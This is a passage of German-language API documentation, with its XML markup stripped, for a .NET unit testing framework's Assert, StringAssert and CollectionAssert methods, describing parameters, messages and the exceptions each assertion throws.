den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob das angegebene Objekt eine Instanz des erwarteten - Typs ist, und löst eine Ausnahme aus, wenn sich der erwartete Typ nicht in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es vom angegebenen Typ ist. - - - Der erwartete Typ von . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt eine Instanz des erwarteten - Typs ist, und löst eine Ausnahme aus, wenn sich der erwartete Typ nicht in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es vom angegebenen Typ ist. - - - Der erwartete Typ von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt eine Instanz des erwarteten - Typs ist, und löst eine Ausnahme aus, wenn sich der erwartete Typ nicht in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es vom angegebenen Typ ist. - - - Der erwartete Typ von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt keine Instanz des falschen - Typs ist, und löst eine Ausnahme aus, wenn sich der angegebene Typ in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es nicht vom angegebenen Typ ist. - - - Der Typ, der unzulässig ist. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt keine Instanz des falschen - Typs ist, und löst eine Ausnahme aus, wenn sich der angegebene Typ in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es nicht vom angegebenen Typ ist. - - - Der Typ, der unzulässig ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testet, ob das angegebene Objekt keine Instanz des falschen - Typs ist, und löst eine Ausnahme aus, wenn sich der angegebene Typ in der - Vererbungshierarchie des Objekts befindet. - - - Das Objekt, von dem der Test erwartet, dass es nicht vom angegebenen Typ ist. - - - Der Typ, der unzulässig ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist keine Instanz von . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Löst eine AssertFailedException aus. - - - Always thrown. - - - - - Löst eine AssertFailedException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Always thrown. - - - - - Löst eine AssertFailedException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Always thrown. - - - - - Löst eine AssertInconclusiveException aus. - - - Always thrown. - - - - - Löst eine AssertInconclusiveException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Always thrown. - - - - - Löst eine AssertInconclusiveException aus. - - - Die in die Ausnahme einzuschließende Meldung. Die Meldung wird in - den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Always thrown. - - - - - Statische equals-Überladungen werden zum Vergleichen von Instanzen zweier Typen für - Verweisgleichheit verwendet. Diese Methode sollte nicht zum Vergleichen von zwei Instanzen auf - Gleichheit verwendet werden. Dieses Objekt löst immer einen Assert.Fail aus. Verwenden Sie - Assert.AreEqual und zugehörige Überladungen in Ihren Komponententests. - - Objekt A - Objekt B - Immer FALSE. - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der Typ der Ausnahme, die ausgelöst werden soll. - - - - - Testet, ob der von Delegat ausgegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und - - AssertFailedException - - auslöst, wenn der Code keine Ausnahme oder einen anderen Typ als auslöst. - - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Der der Delegat ausgeführt wird. - - - - - Testet, ob der von Delegat angegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und AssertFailedException auslöst, wenn der Code keine Ausnahme auslöst oder einen anderen Typ als auslöst. - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Der der Delegat ausgeführt wird. - - - - - Testet, ob der von Delegat angegebene Code genau die angegebene Ausnahme vom Typ (und nicht vom abgeleiteten Typ) auslöst - und AssertFailedException auslöst, wenn der Code keine Ausnahme auslöst oder einen anderen Typ als auslöst. - - Zu testender Delegatcode, von dem erwartet wird, dass er eine Ausnahme auslöst. - - Die in die Ausnahme einzuschließende Meldung, wenn - löst keine Ausnahme aus vom Typ . - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Der der Delegat ausgeführt wird. - - - - - Ersetzt Nullzeichen ("\0") durch "\\0". - - - Die Zeichenfolge, nach der gesucht werden soll. - - - Die konvertierte Zeichenfolge, in der Nullzeichen durch "\\0" ersetzt wurden. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Eine Hilfsfunktion, die eine AssertionFailedException erstellt und auslöst. - - - Der Name der Assertion, die eine Ausnahme auslöst. - - - Eine Meldung, die Bedingungen für den Assertionfehler beschreibt. - - - Die Parameter. - - - - - Überprüft den Parameter auf gültige Bedingungen. - - - Der Parameter. - - - Der Name der Assertion. - - - Parametername - - - Meldung für die ungültige Parameterausnahme. - - - Die Parameter. - - - - - Konvertiert ein Objekt sicher in eine Zeichenfolge und verarbeitet dabei NULL-Werte und Nullzeichen. - NULL-Werte werden in "(null)" konvertiert. Nullzeichen werden in "\\0" konvertiert". - - - Das Objekt, das in eine Zeichenfolge konvertiert werden soll. - - - Die konvertierte Zeichenfolge. - - - - - Die Zeichenfolgenassertion. - - - - - Ruft die Singleton-Instanz der CollectionAssert-Funktionalität ab. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testet, ob die angegebene Zeichenfolge die angegebene Teilzeichenfolge - enthält, und löst eine Ausnahme aus, wenn die Teilzeichenfolge nicht in der - Testzeichenfolge vorkommt. - - - Die Zeichenfolge, von der erwartet wird, dass sie Folgendes enthält: . - - - Die Zeichenfolge, die erwartet wird in . - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Zeichenfolge die angegebene Teilzeichenfolge - enthält, und löst eine Ausnahme aus, wenn die Teilzeichenfolge nicht in der - Testzeichenfolge vorkommt. - - - Die Zeichenfolge, von der erwartet wird, dass sie Folgendes enthält: . - - - Die Zeichenfolge, die erwartet wird in . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Zeichenfolge die angegebene Teilzeichenfolge - enthält, und löst eine Ausnahme aus, wenn die Teilzeichenfolge nicht in der - Testzeichenfolge vorkommt. - - - Die Zeichenfolge, von der erwartet wird, dass sie Folgendes enthält: . - - - Die Zeichenfolge, die erwartet wird in . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - beginnt, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge beginnt. - - - Die Zeichenfolge, von der erwartet wird, dass sie beginnt mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Präfix ist von . - - - Thrown if does not begin with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - beginnt, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge beginnt. - - - Die Zeichenfolge, von der erwartet wird, dass sie beginnt mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Präfix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - beginnt nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not begin with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - beginnt, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge beginnt. - - - Die Zeichenfolge, von der erwartet wird, dass sie beginnt mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Präfix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - beginnt nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not begin with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - endet, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge endet. - - - Die Zeichenfolge, von der erwartet wird, dass sie endet mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Suffix ist von . - - - Thrown if does not end with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - endet, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge endet. - - - Die Zeichenfolge, von der erwartet wird, dass sie endet mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Suffix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - endet nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not end with - . - - - - - Testet, ob die angegebene Zeichenfolge mit der angegebenen Teilzeichenfolge - endet, und löst eine Ausnahme aus, wenn die Testzeichenfolge nicht mit der - Teilzeichenfolge endet. - - - Die Zeichenfolge, von der erwartet wird, dass sie endet mit . - - - Die Zeichenfolge, von der erwartet wird, dass sie ein Suffix ist von . - - - Die in die Ausnahme einzuschließende Meldung, wenn - endet nicht mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not end with - . - - - - - Testet, ob die angegebene Zeichenfolge mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge nicht mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem eine - Übereinstimmung erwartet wird. - - - Thrown if does not match - . - - - - - Testet, ob die angegebene Zeichenfolge mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge nicht mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem eine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - keine Übereinstimmung vorliegt. . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not match - . - - - - - Testet, ob die angegebene Zeichenfolge mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge nicht mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem eine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - keine Übereinstimmung vorliegt. . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not match - . - - - - - Testet, ob die angegebene Zeichenfolge nicht mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie nicht übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem keine - Übereinstimmung erwartet wird. - - - Thrown if matches . - - - - - Testet, ob die angegebene Zeichenfolge nicht mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie nicht übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem keine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - Übereinstimmungen . Die Meldung wird in den Testergebnissen - angezeigt. - - - Thrown if matches . - - - - - Testet, ob die angegebene Zeichenfolge nicht mit einem regulären Ausdruck übereinstimmt, und - löst eine Ausnahme aus, wenn die Zeichenfolge mit dem Ausdruck übereinstimmt. - - - Die Zeichenfolge, von der erwartet wird, dass sie nicht übereinstimmt mit . - - - Der reguläre Ausdruck, mit dem keine - Übereinstimmung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - Übereinstimmungen . Die Meldung wird in den Testergebnissen - angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if matches . - - - - - Eine Sammlung von Hilfsklassen zum Testen verschiedener Bedingungen, die - Sammlungen in Komponententests zugeordnet sind. Wenn die getestete Bedingung nicht - erfüllt wird, wird eine Ausnahme ausgelöst. - - - - - Ruft die Singleton-Instanz der CollectionAssert-Funktionalität ab. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testet, ob die angegebene Sammlung das angegebene Element enthält, - und löst eine Ausnahme aus, wenn das Element nicht in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein in der Sammlung erwartet wird. - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element enthält, - und löst eine Ausnahme aus, wenn das Element nicht in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element enthält, - und löst eine Ausnahme aus, wenn das Element nicht in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht in . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element nicht enthält, - und löst eine Ausnahme aus, wenn das Element in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein nicht in der Sammlung erwartet wird. - - - Thrown if is found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element nicht enthält, - und löst eine Ausnahme aus, wenn das Element in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein nicht in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist in . Die Meldung wird in den Testergebnissen - angezeigt. - - - Thrown if is found in - . - - - - - Testet, ob die angegebene Sammlung das angegebene Element nicht enthält, - und löst eine Ausnahme aus, wenn das Element in der Sammlung enthalten ist. - - - Die Sammlung, in der nach dem Element gesucht werden soll. - - - Das Element, dessen Vorhandensein nicht in der Sammlung erwartet wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist in . Die Meldung wird in den Testergebnissen - angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is found in - . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung ungleich null sind, und löst - eine Ausnahme aus, wenn eines der Elemente NULL ist. - - - Die Sammlung, in der nach den Nullelementen gesucht werden soll. - - - Thrown if a null element is found in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung ungleich null sind, und löst - eine Ausnahme aus, wenn eines der Elemente NULL ist. - - - Die Sammlung, in der nach den Nullelementen gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält ein Nullelement. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if a null element is found in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung ungleich null sind, und löst - eine Ausnahme aus, wenn eines der Elemente NULL ist. - - - Die Sammlung, in der nach den Nullelementen gesucht werden soll. - - - Die in die Ausnahme einzuschließende Meldung, wenn - enthält ein Nullelement. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if a null element is found in . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung eindeutig sind, und - löst eine Ausnahme aus, wenn zwei Elemente in der Sammlung gleich sind. - - - Die Sammlung, in der nach Elementduplikaten gesucht werden soll. - - - Thrown if a two or more equal elements are found in - . - - - - - Testet, ob alle Elemente in der angegebenen Sammlung eindeutig sind, und - löst eine Ausnahme 